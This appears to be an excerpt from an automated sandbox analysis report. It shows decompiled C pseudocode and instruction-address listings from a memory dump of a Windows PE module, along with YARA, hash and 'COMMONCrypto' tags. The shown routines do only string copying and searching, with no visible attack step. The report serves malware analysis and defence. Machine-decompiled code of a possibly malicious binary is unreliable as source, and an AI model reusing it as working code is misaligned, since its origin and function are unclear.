															_t327 = _t327 + 1;
															__eflags = _t327 - _t417;
															if(_t327 < _t417) {
																continue;
															} else {
																goto L89;
															}
															goto L96;
														}
													}
												}
											}
											L96:
											_t114 = _t327 + 1; // 0x80000000
											_t406 = _t114;
											__eflags = _t406 - 0x40;
											_t407 =  <=  ? 0x40 : _t406;
											__eflags = _t407;
											if(_t407 > 0) {
												_t277 = (_t407 >> 5 >> 0x1a) + _t407 >> 6;
												_t408 = _t407 & 0x8000003f;
												__eflags = _t408;
												if(_t408 < 0) {
													_t408 = (_t408 - 0x00000001 | 0xffffffc0) + 1;
													__eflags = _t408;
												}
												__eflags = _t408;
												_t278 = _t277 + (0 | _t408 > 0x00000000);
												_v68 = _t278 << 6;
												_push(_t278 << 7);
												_t464 = E6ED41030();
												_t481 = _t481 + 4;
												_t411 =  *_a4;
												__eflags = _t411;
												if(_t411 == 0) {
													__eflags = 0;
													 *_t464 = 0;
												} else {
													__eflags = _t464;
													if(_t464 != 0) {
														_t287 =  *_t411 & 0x0000ffff;
														 *_t464 = _t287;
														__eflags = _t287;
														if(_t287 != 0) {
															_t288 = 0;
															__eflags = 0;
															while(1) {
																_t288 = _t288 + 1;
																_t363 =  *(_t411 + _t288 * 4 - 2) & 0x0000ffff;
																 *(_t464 + _t288 * 4 - 2) = _t363;
																__eflags = _t363;
																if(_t363 == 0) {
																	goto L106;
																}
																_t364 =  *(_t411 + _t288 * 4) & 0x0000ffff;
																 *(_t464 + _t288 * 4) = _t364;
																__eflags = _t364;
																if(_t364 != 0) {
																	continue;
																}
																goto L106;
															}
														}
													}
													L106:
													_push(2);
													_push(_t411);
													E6ED410B0();
													_t481 = _t481 + 8;
												}
												_t412 = _a4;
												_t412[1] = _v68;
												 *_t412 = _t464;
											} else {
												_t464 = 0;
											}
											__eflags = _t464;
											if(_t464 != 0) {
												_t284 = 0;
												while(1) {
													_t413 =  *_t449 & 0x0000ffff;
													_t284 = _t284 + 1;
													 *_t464 = _t413;
													__eflags = _t327;
													if(_t327 == 0) {
														goto L114;
													}
													__eflags = _t284 - _t327;
													if(_t284 == _t327) {
														 *(_t464 + 2) = 0;
													} else {
														goto L114;
													}
													goto L125;
													L114:
													__eflags = _t413;
													if(_t413 != 0) {
														_t464 = _t464 + 2;
														_t449 = _t449 + 2;
														__eflags = _t449;
														continue;
													}
													goto L125;
												}
											}
										}
									}
								} else {
									_t426 = _a4;
									_push(0x80);
									 *_t426 = 0;
									 *((intOrPtr*)(_t426 + 4)) = 0;
									_t317 = E6ED41030();
									_t481 = _t481 + 4;
									_t298 =  *_a4;
									__eflags = _t298;
									if(_t298 == 0) {
										 *_t317 = 0;
									} else {
										__eflags = _t317;
										if(_t317 != 0) {
											_t427 =  *_t298 & 0x0000ffff;
											 *_t317 = _t427;
											__eflags = _t427;
											if(_t427 != 0) {
												_t428 = 0;
												__eflags = 0;
												while(1) {
													_t428 = _t428 + 1;
													_t365 =  *(_t298 + _t428 * 4 - 2) & 0x0000ffff;
													 *(_t317 + _t428 * 4 - 2) = _t365;
													__eflags = _t365;
													if(_t365 == 0) {
														goto L63;
													}
													_t366 =  *(_t298 + _t428 * 4) & 0x0000ffff;
													 *(_t317 + _t428 * 4) = _t366;
													__eflags = _t366;
													if(_t366 != 0) {
														continue;
													}
													goto L63;
												}
											}
										}
										L63:
										_push(2);
										_push(_t298);
										E6ED410B0();
										_t481 = _t481 + 8;
									}
									L124:
									_t250 = _a4;
									 *_t250 = _t317;
									_t250[1] = 0x40;
								}
								goto L125;
							}
							L157:
							_t463 = _v40;
							goto L56;
						}
					} else {
						goto L40;
					}
				}
				L125:
				_push(2);
				_push(_v64);
				E6ED410B0();
				_v64 = 0;
				_v60 = 0;
				return _a4;
				goto L180;
			}

0x6ed4ae8e
0x6ed4ae92
0x6ed4ae94
0x6ed4ae98
0x6ed4aea2
0x6ed4aea4
0x6ed4aea7
0x6ed4aead
0x6ed4aee7
0x6ed4aee9
0x6ed4aeaf
0x6ed4aeb1
0x6ed4aeb3
0x6ed4aeb6
0x6ed4aebb
0x6ed4aebf
0x6ed4aebf
0x6ed4aec0
0x6ed4aec5
0x6ed4aecc
0x00000000
0x00000000
0x6ed4aece
0x6ed4aed2
0x6ed4aed8
0x00000000
0x00000000
0x00000000
0x6ed4aed8
0x6ed4aebf
0x6ed4aebb
0x6ed4aeda
0x6ed4aeda
0x6ed4aedc
0x6ed4aedd
0x6ed4aee2
0x6ed4aee2
0x6ed4aef0
0x6ed4aef8
0x6ed4aefe
0x6ed4af09
0x6ed4af0b
0x6ed4b6df
0x6ed4b6e4
0x6ed4af11
0x6ed4af13
0x6ed4af13
0x6ed4af16
0x6ed4af36
0x6ed4af3a
0x6ed4af46
0x6ed4af46
0x6ed4af4c
0x6ed4af4c
0x6ed4af51
0x6ed4af55
0x6ed4af59
0x6ed4af5b
0x00000000
0x00000000
0x6ed4af61
0x6ed4af64
0x6ed4af66
0x00000000
0x6ed4af68
0x6ed4af68
0x6ed4af6e
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed4af6e
0x00000000
0x6ed4af66
0x6ed4b6d3
0x6ed4b6d8
0x00000000
0x6ed4af18
0x6ed4af18
0x6ed4af1a
0x6ed4af1c
0x6ed4af70
0x6ed4af70
0x6ed4af74
0x6ed4af76
0x00000000
0x00000000
0x6ed4af7c
0x6ed4af7d
0x6ed4af83
0x00000000
0x6ed4af85
0x6ed4af85
0x6ed4af85
0x6ed4af8a
0x6ed4af8a
0x00000000
0x6ed4af83
0x00000000
0x6ed4af1e
0x6ed4af23
0x6ed4af23
0x6ed4af25
0x6ed4af25
0x6ed4af29
0x6ed4af2b
0x00000000
0x00000000
0x6ed4af31
0x6ed4af32
0x6ed4af34
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed4af34
0x6ed4b458
0x6ed4b458
0x6ed4b45b
0x6ed4b46b
0x6ed4b45d
0x6ed4b45f
0x6ed4b462
0x6ed4b462
0x6ed4b45b
0x6ed4af1c
0x6ed4af16
0x6ed4af8f
0x6ed4af94
0x6ed4af94
0x6ed4af97
0x6ed4af9a
0x6ed4af9d
0x6ed4af9f
0x6ed4afb4
0x6ed4afb7
0x6ed4afb7
0x6ed4afbd
0x6ed4afc5
0x6ed4afc5
0x6ed4afc5
0x6ed4afc6
0x6ed4afd0
0x6ed4afd7
0x6ed4afd8
0x6ed4afe0
0x6ed4afe2
0x6ed4afe5
0x6ed4afe9
0x6ed4afeb
0x6ed4b033
0x6ed4b035
0x6ed4afed
0x6ed4afed
0x6ed4afef
0x6ed4aff1
0x6ed4aff4
0x6ed4aff7
0x6ed4aff9
0x6ed4affb
0x6ed4affe
0x6ed4affe
0x6ed4b000
0x6ed4b000
0x6ed4b001
0x6ed4b006
0x6ed4b00b
0x6ed4b00d
0x00000000
0x00000000
0x6ed4b00f
0x6ed4b013
0x6ed4b017
0x6ed4b019
0x00000000
0x00000000
0x00000000
0x6ed4b019
0x6ed4b01b
0x6ed4b01b
0x6ed4aff9
0x6ed4b01e
0x6ed4b020
0x6ed4b021
0x6ed4b025
0x6ed4b02a
0x6ed4b02e
0x6ed4b02e
0x6ed4b038
0x6ed4b03c
0x6ed4afa1
0x6ed4afa1
0x6ed4afa1
0x6ed4b044
0x6ed4b048
0x6ed4b04e
0x6ed4b052
0x6ed4af00
0x6ed4af00
0x6ed4af00
0x6ed4b057
0x6ed4b059
0x6ed4b05f
0x6ed4b068
0x6ed4b068
0x6ed4b06d
0x6ed4b072
0x6ed4b074
0x6ed4b07c
0x6ed4b07e
0x6ed4b084
0x6ed4b088
0x6ed4b0c7
0x6ed4b08a
0x6ed4b08c
0x6ed4b08e
0x6ed4b091
0x6ed4b096
0x6ed4b098
0x6ed4b09a
0x6ed4b09a
0x6ed4b09b
0x6ed4b0a0
0x6ed4b0a7
0x00000000
0x00000000
0x6ed4b0a9
0x6ed4b0ad
0x6ed4b0b3
0x00000000
0x00000000
0x00000000
0x6ed4b0b3
0x6ed4b09a
0x6ed4b096
0x6ed4b0b5
0x6ed4b0b5
0x6ed4b0b7
0x6ed4b0b8
0x6ed4b0bd
0x6ed4b0bd
0x00000000
0x6ed4b061
0x6ed4b061
0x6ed4b066
0x6ed4b0cf
0x6ed4b0d5
0x6ed4b0da
0x6ed4b0dc
0x6ed4b66c
0x6ed4b671
0x6ed4b676
0x6ed4b678
0x6ed4b680
0x6ed4b682
0x6ed4b688
0x6ed4b68a
0x6ed4b68c
0x6ed4b6cb
0x6ed4b68e
0x6ed4b68e
0x6ed4b690
0x6ed4b692
0x6ed4b695
0x6ed4b698
0x6ed4b69a
0x6ed4b69c
0x6ed4b69c
0x6ed4b69e
0x6ed4b69e
0x6ed4b69f
0x6ed4b6a4
0x6ed4b6a9
0x6ed4b6ab
0x00000000
0x00000000
0x6ed4b6ad
0x6ed4b6b1
0x6ed4b6b5
0x6ed4b6b7
0x00000000
0x00000000
0x00000000
0x6ed4b6b7
0x6ed4b69e
0x6ed4b69a
0x6ed4b6b9
0x6ed4b6b9
0x6ed4b6bb
0x6ed4b6bc
0x6ed4b6c1
0x6ed4b6c1
0x00000000
0x6ed4b0e2
0x6ed4b0e6
0x6ed4b0e9
0x6ed4b0ec
0x6ed4b0ef
0x6ed4b0f3
0x6ed4b0f6
0x6ed4b0f9
0x6ed4b10a
0x6ed4b10e
0x6ed4b112
0x6ed4b116
0x6ed4b116
0x6ed4b118
0x6ed4b11c
0x6ed4b11c
0x6ed4b11e
0x6ed4b120
0x6ed4b120
0x6ed4b123
0x00000000
0x00000000
0x6ed4b12d
0x6ed4b12f
0x00000000
0x6ed4b135
0x6ed4b135
0x6ed4b139
0x6ed4b13b
0x6ed4b13e
0x6ed4b13e
0x6ed4b144
0x6ed4b147
0x6ed4b14d
0x6ed4b150
0x6ed4b154
0x6ed4b15b
0x6ed4b15e
0x6ed4b161
0x00000000
0x00000000
0x6ed4b16b
0x6ed4b16d
0x00000000
0x6ed4b16f
0x6ed4b16f
0x6ed4b16f
0x6ed4b172
0x6ed4b172
0x00000000
0x6ed4b16d
0x6ed4b49c
0x6ed4b4a0
0x6ed4b4a4
0x6ed4b4a8
0x6ed4b4ba
0x6ed4b4ba
0x6ed4b4bc
0x6ed4b4be
0x00000000
0x00000000
0x6ed4b4c0
0x6ed4b4c0
0x6ed4b4c2
0x6ed4b4c4
0x6ed4b537
0x6ed4b537
0x6ed4b53b
0x6ed4b53f
0x6ed4b543
0x6ed4b545
0x00000000
0x00000000
0x6ed4b54b
0x6ed4b54c
0x6ed4b552
0x00000000
0x6ed4b554
0x6ed4b554
0x00000000
0x6ed4b554
0x00000000
0x6ed4b552
0x6ed4b64d
0x00000000
0x6ed4b4c6
0x6ed4b4c6
0x6ed4b4ca
0x6ed4b4cc
0x6ed4b4d0
0x6ed4b4d4
0x6ed4b4d8
0x6ed4b4da
0x00000000
0x00000000
0x6ed4b4e0
0x6ed4b4e1
0x6ed4b4e3
0x00000000
0x6ed4b4e5
0x6ed4b4e5
0x6ed4b4e9
0x00000000
0x6ed4b4e9
0x00000000
0x6ed4b4e3
0x6ed4b5c5
0x6ed4b5c9
0x6ed4b5cd
0x6ed4b5cd
0x6ed4b5cf
0x6ed4b558
0x6ed4b558
0x00000000
0x6ed4b5d1
0x6ed4b5d1
0x6ed4b55d
0x6ed4b55d
0x6ed4b561
0x6ed4b561
0x6ed4b563
0x6ed4b567
0x6ed4b56b
0x6ed4b56f
0x6ed4b56f
0x6ed4b57a
0x6ed4b57e
0x6ed4b584
0x6ed4b587
0x6ed4b58d
0x6ed4b593
0x6ed4b596
0x6ed4b599
0x00000000
0x00000000
0x6ed4b59d
0x6ed4b59f
0x6ed4b5ab
0x6ed4b5ab
0x6ed4b5af
0x6ed4b5af
0x6ed4b5b1
0x00000000
0x6ed4b5a1
0x6ed4b5a1
0x6ed4b5a2
0x6ed4b5a6
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed4b5a6
0x00000000
0x6ed4b59f
0x6ed4b5e2
0x6ed4b5e6
0x6ed4b5ea
0x6ed4b5f0
0x6ed4b5f0
0x6ed4b5f3
0x00000000
0x6ed4b5f9
0x6ed4b5fd
0x6ed4b5ff
0x00000000
0x6ed4b605
0x6ed4b605
0x6ed4b609
0x6ed4b609
0x6ed4b60b
0x6ed4b60f
0x6ed4b613
0x6ed4b617
0x6ed4b617
0x6ed4b621
0x6ed4b624
0x6ed4b62a
0x6ed4b631
0x6ed4b634
0x6ed4b637
0x6ed4b63a
0x00000000
0x00000000
0x6ed4b644
0x6ed4b646
0x00000000
0x6ed4b648
0x00000000
0x6ed4b648
0x00000000
0x6ed4b646
0x6ed4b4ae
0x6ed4b4b2
0x6ed4b4b6
0x6ed4b4ba
0x6ed4b4bc
0x6ed4b4be
0x00000000
0x00000000
0x6ed4b4be
0x6ed4b5ff
0x6ed4b5d3
0x6ed4b5d3
0x6ed4b5d7
0x6ed4b5d9
0x6ed4b5dd
0x6ed4b5b4
0x6ed4b5b4
0x6ed4b5b6
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed4b5b6
0x6ed4b5d1
0x6ed4b5cf
0x00000000
0x6ed4b4ed
0x6ed4b4f9
0x6ed4b4fd
0x6ed4b4fd
0x6ed4b503
0x6ed4b50b
0x6ed4b50b
0x6ed4b510
0x6ed4b514
0x6ed4b518
0x6ed4b51a
0x00000000
0x00000000
0x6ed4b520
0x6ed4b523
0x6ed4b525
0x00000000
0x6ed4b527
0x6ed4b527
0x6ed4b52b
0x6ed4b52f
0x6ed4b535
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed4b535
0x00000000
0x6ed4b525
0x6ed4b658
0x6ed4b65d
0x6ed4b661
0x6ed4b663
0x00000000
0x6ed4b663
0x6ed4b4ba
0x6ed4b176
0x6ed4b176
0x6ed4b176
0x6ed4b178
0x6ed4b17a
0x6ed4b1e3
0x6ed4b1e5
0x6ed4b495
0x6ed4b1eb
0x6ed4b1ed
0x6ed4b1ed
0x6ed4b1f0
0x6ed4b20c
0x6ed4b218
0x6ed4b218
0x6ed4b21e
0x6ed4b21e
0x6ed4b223
0x6ed4b227
0x6ed4b22b
0x6ed4b22d
0x00000000
0x00000000
0x6ed4b233
0x6ed4b236
0x6ed4b238
0x00000000
0x6ed4b23a
0x6ed4b23a
0x6ed4b240
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed4b240
0x00000000
0x6ed4b238
0x6ed4b489
0x6ed4b48e
0x6ed4b1f2
0x6ed4b1f2
0x6ed4b1f4
0x6ed4b1f6
0x6ed4b242
0x6ed4b242
0x6ed4b246
0x6ed4b248
0x00000000
0x00000000
0x6ed4b24a
0x6ed4b24b
0x6ed4b251
0x00000000
0x6ed4b253
0x6ed4b253
0x6ed4b253
0x6ed4b253
0x00000000
0x6ed4b251
0x6ed4b1f8
0x6ed4b1fd
0x6ed4b1fd
0x6ed4b1ff
0x6ed4b1ff
0x6ed4b203
0x6ed4b205
0x00000000
0x00000000
0x6ed4b207
0x6ed4b208
0x6ed4b20a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed4b20a
0x6ed4b1ff
0x6ed4b1f6
0x6ed4b1f0
0x6ed4b258
0x6ed4b25d
0x6ed4b25f
0x6ed4b261
0x6ed4b263
0x6ed4b269
0x6ed4b269
0x6ed4b265
0x6ed4b265
0x6ed4b267
0x00000000
0x00000000
0x6ed4b267
0x6ed4b26b
0x6ed4b26e
0x6ed4b273
0x6ed4b275
0x6ed4b278
0x6ed4b27a
0x6ed4b3d0
0x6ed4b3d0
0x6ed4b3da
0x6ed4b3dc
0x6ed4b3e2
0x6ed4b3e4
0x6ed4b3e6
0x6ed4b420
0x6ed4b422
0x6ed4b3e8
0x6ed4b3e8
0x6ed4b3ea
0x6ed4b3ec
0x6ed4b3ef
0x6ed4b3f2
0x6ed4b3f4
0x6ed4b3f6
0x6ed4b3f6
0x6ed4b3f8
0x6ed4b3f8
0x6ed4b3f9
0x6ed4b3fe
0x6ed4b403
0x6ed4b405
0x00000000
0x00000000
0x6ed4b407
0x6ed4b40b
0x6ed4b40f
0x6ed4b411
0x00000000
0x00000000
0x00000000
0x6ed4b411
0x6ed4b3f8
0x6ed4b3f4
0x6ed4b413
0x6ed4b413
0x6ed4b415
0x6ed4b416
0x6ed4b41b
0x6ed4b41b
0x00000000
0x6ed4b280
0x6ed4b280
0x6ed4b283
0x6ed4b285
0x00000000
0x6ed4b28b
0x6ed4b28b
0x6ed4b28d
0x6ed4b291
0x6ed4b291
0x6ed4b294
0x6ed4b2b1
0x6ed4b2bd
0x6ed4b2bd
0x6ed4b2c3
0x6ed4b2c3
0x6ed4b2c8
0x6ed4b2cc
0x6ed4b2d0
0x6ed4b2d2
0x00000000
0x00000000
0x6ed4b2d8
0x6ed4b2db
0x6ed4b2dd
0x00000000
0x6ed4b2df
0x6ed4b2df
0x6ed4b2e5
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed4b2e5
0x00000000
0x6ed4b2dd
0x6ed4b47d
0x6ed4b482
0x6ed4b296
0x6ed4b296
0x6ed4b298
0x6ed4b29b
0x6ed4b2e7
0x6ed4b2e7
0x6ed4b2eb
0x6ed4b2ed
0x00000000
0x00000000
0x6ed4b2ef
0x6ed4b2f0
0x6ed4b2f6
0x00000000
0x6ed4b2f8
0x6ed4b2f8
0x6ed4b2f8
0x6ed4b2f8
0x00000000
0x6ed4b2f6
0x6ed4b29d
0x6ed4b2a2
0x6ed4b2a2
0x6ed4b2a4
0x6ed4b2a4
0x6ed4b2a8
0x6ed4b2aa
0x00000000
0x00000000
0x6ed4b2ac
0x6ed4b2ad
0x6ed4b2af
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed4b2af
0x6ed4b2a4
0x6ed4b29b
0x6ed4b294
0x6ed4b2fd
0x6ed4b302
0x6ed4b302
0x6ed4b305
0x6ed4b308
0x6ed4b30b
0x6ed4b30d
0x6ed4b320
0x6ed4b323
0x6ed4b323
0x6ed4b329
0x6ed4b331
0x6ed4b331
0x6ed4b331
0x6ed4b332
0x6ed4b33c
0x6ed4b346
0x6ed4b349
0x6ed4b34f
0x6ed4b351
0x6ed4b357
0x6ed4b359
0x6ed4b35b
0x6ed4b395
0x6ed4b397
0x6ed4b35d
0x6ed4b35d
0x6ed4b35f
0x6ed4b361
0x6ed4b364
0x6ed4b367
0x6ed4b369
0x6ed4b36b
0x6ed4b36b
0x6ed4b36d
0x6ed4b36d
0x6ed4b36e
0x6ed4b373
0x6ed4b378
0x6ed4b37a
0x00000000
0x00000000
0x6ed4b37c
0x6ed4b380
0x6ed4b384
0x6ed4b386
0x00000000
0x00000000
0x00000000
0x6ed4b386
0x6ed4b36d
0x6ed4b369
0x6ed4b388
0x6ed4b388
0x6ed4b38a
0x6ed4b38b
0x6ed4b390
0x6ed4b390
0x6ed4b39a
0x6ed4b3a0
0x6ed4b3a3
0x6ed4b30f
0x6ed4b30f
0x6ed4b30f
0x6ed4b3a5
0x6ed4b3a7
0x6ed4b3ad
0x6ed4b3b7
0x6ed4b3b7
0x6ed4b3ba
0x6ed4b3bb
0x6ed4b3be
0x6ed4b3c0
0x00000000
0x00000000
0x6ed4b3c2
0x6ed4b3c4
0x6ed4b477
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed4b3ca
0x6ed4b3ca
0x6ed4b3cc
0x6ed4b3b1
0x6ed4b3b4
0x6ed4b3b4
0x00000000
0x6ed4b3b4
0x00000000
0x6ed4b3cc
0x6ed4b3b7
0x6ed4b3a7
0x6ed4b285
0x6ed4b17c
0x6ed4b17c
0x6ed4b181
0x6ed4b186
0x6ed4b188
0x6ed4b190
0x6ed4b192
0x6ed4b198
0x6ed4b19a
0x6ed4b19c
0x6ed4b1db
0x6ed4b19e
0x6ed4b19e
0x6ed4b1a0
0x6ed4b1a2
0x6ed4b1a5
0x6ed4b1a8
0x6ed4b1aa
0x6ed4b1ac
0x6ed4b1ac
0x6ed4b1ae
0x6ed4b1ae
0x6ed4b1af
0x6ed4b1b4
0x6ed4b1b9
0x6ed4b1bb
0x00000000
0x00000000
0x6ed4b1bd
0x6ed4b1c1
0x6ed4b1c5
0x6ed4b1c7
0x00000000
0x00000000
0x00000000
0x6ed4b1c7
0x6ed4b1ae
0x6ed4b1aa
0x6ed4b1c9
0x6ed4b1c9
0x6ed4b1cb
0x6ed4b1cc
0x6ed4b1d1
0x6ed4b1d1
0x6ed4b425
0x6ed4b425
0x6ed4b428
0x6ed4b42a
0x6ed4b42a
0x00000000
0x6ed4b17a
0x6ed4b5bc
0x6ed4b5bc
0x00000000
0x6ed4b5bc
0x00000000
0x00000000
0x00000000
0x6ed4b066
0x6ed4b431
0x6ed4b431
0x6ed4b433
0x6ed4b437
0x6ed4b441
0x6ed4b445
0x6ed4b455
0x00000000

Strings

@, xrefs: 6ED4AEF0

Memory Dump Source

Source File: 00000000.00000002.791906460.000000006ED31000.00000020.00020000.sdmp, Offset: 6ED30000, based on PE: true

Associated: 00000000.00000002.791898803.000000006ED30000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791929720.000000006ED65000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791939935.000000006ED6B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.791948148.000000006ED6C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 8b23dda31ef708b485797a559140a73a4bae187a5af7111d082972d0fb887ed3
Instruction ID: 9a498e1655a96fbc0057e88ef4f02c921d8cbdf8cafc200ef1c53bc25e1d2b59
Opcode Fuzzy Hash: 8b23dda31ef708b485797a559140a73a4bae187a5af7111d082972d0fb887ed3
Instruction Fuzzy Hash: 9042E2B1614712CBD7548FAAC49022E73E2BFF9714F148A2DE8A59B3D8EB34D811C752

Uniqueness

Uniqueness Score: -1.00%

Function 6ED4B6F0, Relevance: 2.0, Strings: 1, Instructions: 704
COMMONCrypto

Download Yara Rule

C-Code - Quality: 93%

			E6ED4B6F0(signed int __ecx, void* __eflags, signed int* _a4, signed int _a8) {
				signed int _v32;
				signed int _v36;
				signed int _v40;
				unsigned int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed short* _t217;
				unsigned int _t225;
				signed int _t226;
				signed short** _t231;
				signed short* _t235;
				signed int* _t237;
				signed int _t242;
				signed int _t246;
				signed int _t254;
				signed int _t257;
				signed int _t259;
				signed int _t261;
				signed int _t262;
				intOrPtr* _t263;
				signed int _t266;
				signed int _t269;
				unsigned int _t275;
				signed int _t276;
				void* _t282;
				signed int _t285;
				signed int _t286;
				signed int _t290;
				signed int _t291;
				signed int _t293;
				signed int _t300;
				signed int _t301;
				signed int _t306;
				signed int _t307;
				signed int _t310;
				signed int _t319;
				signed int _t321;
				signed int _t335;
				signed int _t338;
				signed int _t339;
				signed int _t341;
				signed int _t342;
				signed int _t343;
				signed int _t344;
				signed int _t347;
				signed int _t348;
				signed int _t349;
				signed int _t350;
				signed int _t355;
				void* _t356;
				signed int _t357;
				signed int _t358;
				signed int _t359;
				signed int _t362;
				signed int _t363;
				signed int _t364;
				signed int _t365;
				signed int _t366;
				signed int _t367;
				void* _t368;
				signed int _t369;
				signed int _t370;
				signed int _t373;
				intOrPtr* _t375;
				signed int _t376;
				signed int _t377;
				signed int _t378;
				intOrPtr* _t379;
				signed int _t380;
				signed int _t381;
				signed int _t383;
				unsigned int _t385;
				unsigned int _t386;
				unsigned int _t389;
				signed int _t390;
				signed int _t397;
				signed int _t400;
				signed int _t401;
				void* _t402;
				signed int _t403;
				signed int _t404;
				signed int _t407;
				signed int* _t408;
				signed int _t409;
				signed int _t413;
				signed int _t422;
				signed int _t424;
				signed short* _t425;
				signed int _t429;
				signed int _t430;
				signed int _t431;
				signed int _t433;
				signed int _t434;
				signed int _t435;
				signed int _t436;
				signed int _t438;
				signed int _t444;
				signed int _t446;
				signed int _t448;
				signed int _t451;
				signed int _t452;
				signed int _t456;
				signed int _t457;
				signed int _t458;
				void* _t461;

				_v52 = 0;
				_t438 = __ecx;
				_v48 = 0;
				_push(0x80);
				_t422 = E6ED41030();
				_t461 = (_t458 & 0xfffffff0) - 0x34 + 4;
				_t217 = _v52;
				if(_t217 == 0) {
					__eflags = 0;
					 *_t422 = 0;
					L8:
					_v48 = 0x40;
					_v52 = _t422;
					if((_a8 & 0x0000ffff) != 0) {
						__eflags = _t422;
						if(_t422 == 0) {
							_t338 = 0x40;
							_t300 = 0;
							L23:
							_t24 = _t300 + 2; // -2147483652
							_t368 = _t24;
							__eflags = _t368 - 0x40;
							_t369 =  <=  ? 0x40 : _t368;
							__eflags = _t338 - _t369;
							if(_t338 < _t369) {
								_t225 = (_t369 >> 5 >> 0x1a) + _t369 >> 6;
								_t370 = _t369 & 0x8000003f;
								__eflags = _t370;
								if(_t370 < 0) {
									_t370 = (_t370 - 0x00000001 | 0xffffffc0) + 1;
									__eflags = _t370;
								}
								__eflags = _t370;
								_t226 = _t225 + (0 | _t370 > 0x00000000);
								_push(_t226 << 7);
								_t424 = _t226 << 6;
								_t373 = E6ED41030();
								_t461 = _t461 + 4;
								_t339 = _v52;
								__eflags = _t339;
								if(_t339 == 0) {
									__eflags = 0;
									 *_t373 = 0;
									goto L36;
								} else {
									__eflags = _t373;
									if(_t373 == 0) {
										L34:
										_push(2);
										_push(_t339);
										_v68 = _t373;
										E6ED410B0();
										_t373 = _v68;
										_t461 = _t461 + 8;
										L36:
										_v48 = _t424;
										_v52 = _t373;
										L37:
										 *((short*)(_t373 + _t300 * 2)) = _a8 & 0x0000ffff;
										__eflags = 0;
										_t231 =  &_v52;
										 *((short*)(_v52 + 2 + _t300 * 2)) = 0;
										L38:
										_t425 =  *_t231;
										if(_t425 == 0) {
											L40:
											_t375 = _a4;
											_push(0x80);
											 *_t375 = 0;
											 *((intOrPtr*)(_t375 + 4)) = 0;
											_t301 = E6ED41030();
											_t461 = _t461 + 4;
											_t235 =  *_a4;
											if(_t235 == 0) {
												 *_t301 = 0;
												L61:
												_t237 = _a4;
												 *_t237 = _t301;
												_t237[1] = 0x40;
												L62:
												_push(2);
												_push(_v52);
												E6ED410B0();
												_v52 = 0;
												_v48 = 0;
												return _a4;
											}
											if(_t301 == 0) {
												L46:
												_push(2);
												_push(_t235);
												E6ED410B0();
												_t461 = _t461 + 8;
												goto L61;
											}
											_t376 =  *_t235 & 0x0000ffff;
											 *_t301 = _t376;
											if(_t376 == 0) {
												goto L46;
											}
											_t377 = 0;
											while(1) {
												_t377 = _t377 + 1;
												_t341 =  *(_t235 + _t377 * 4 - 2) & 0x0000ffff;
												 *(_t301 + _t377 * 4 - 2) = _t341;
												if(_t341 == 0) {
													goto L46;
												}
												_t342 =  *(_t235 + _t377 * 4) & 0x0000ffff;
												 *(_t301 + _t377 * 4) = _t342;
												if(_t342 != 0) {
													continue;
												}
												goto L46;
											}
											goto L46;
										}
										_t378 =  *_t425 & 0x0000ffff;
										if(_t378 != 0) {
											_t242 =  *_t438;
											__eflags = _t242;
											if(_t242 == 0) {
												L53:
												_t379 = _a4;
												_push(0x80);
												 *_t379 = 0;
												 *((intOrPtr*)(_t379 + 4)) = 0;
												_t301 = E6ED41030();
												_t461 = _t461 + 4;
												_t246 =  *_a4;
												__eflags = _t246;
												if(_t246 == 0) {
													__eflags = 0;
													 *_t301 = 0;
													goto L61;
												}
												__eflags = _t301;
												if(_t301 == 0) {
													L59:
													_push(2);
													_push(_t246);
													E6ED410B0();
													_t461 = _t461 + 8;
													goto L61;
												}
												_t380 =  *_t246 & 0x0000ffff;
												 *_t301 = _t380;
												__eflags = _t380;
												if(_t380 == 0) {
													goto L59;
												}
												_t381 = 0;
												__eflags = 0;
												while(1) {
													_t381 = _t381 + 1;
													_t343 =  *(_t246 + _t381 * 4 - 2) & 0x0000ffff;
													 *(_t301 + _t381 * 4 - 2) = _t343;
													__eflags = _t343;
													if(_t343 == 0) {
														goto L59;
													}
													_t344 =  *(_t246 + _t381 * 4) & 0x0000ffff;
													 *(_t301 + _t381 * 4) = _t344;
													__eflags = _t344;
													if(_t344 != 0) {
														continue;
													}
													goto L59;
												}
												goto L59;
											}
											__eflags =  *_t242 & 0x0000ffff;
											if(( *_t242 & 0x0000ffff) == 0) {
												goto L53;
											}
											_v36 = _t425;
											_t65 = _t378 - 0x41; // -65
											__eflags = _t65 - 0x19;
											_t66 = _t378 + 0x20; // 0x20
											_t382 =  <=  ? _t66 : _t378;
											_t347 = 0;
											__eflags = 0;
											_t383 = ( <=  ? _t66 : _t378) & 0x0000ffff;
											_v56 = _t383;
											while(1) {
												_t427 =  *(_t242 + _t347 * 2) & 0x0000ffff;
												_t70 = _t427 - 0x41; // 0x7fffffc0
												__eflags = _t70 - 0x19;
												_t71 = _t427 + 0x20; // 0x80000021
												_t428 =  <=  ? _t71 :  *(_t242 + _t347 * 2) & 0x0000ffff;
												__eflags = ( <=  ? _t71 :  *(_t242 + _t347 * 2) & 0x0000ffff) - _t383;
												if(( <=  ? _t71 :  *(_t242 + _t347 * 2) & 0x0000ffff) == _t383) {
													break;
												}
												_t347 = _t347 + 1;
												__eflags =  *(_t242 + _t347 * 2) & 0x0000ffff;
												if(( *(_t242 + _t347 * 2) & 0x0000ffff) != 0) {
													continue;
												}
												goto L53;
											}
											_t429 = _v36;
											_t348 = _t242 + _t347 * 2;
											__eflags = _t348;
											if(_t348 == 0) {
												goto L53;
											}
											_t306 = _t429 & 0x0000000f;
											asm("pxor xmm0, xmm0");
											_t385 = _t306 & 0x00000001;
											_t444 =  ~_t306 + 0x10 >> 1;
											_v32 = _t242;
											_v36 = _t429;
											while(1) {
												L69:
												_t430 = _t306;
												__eflags = _t306;
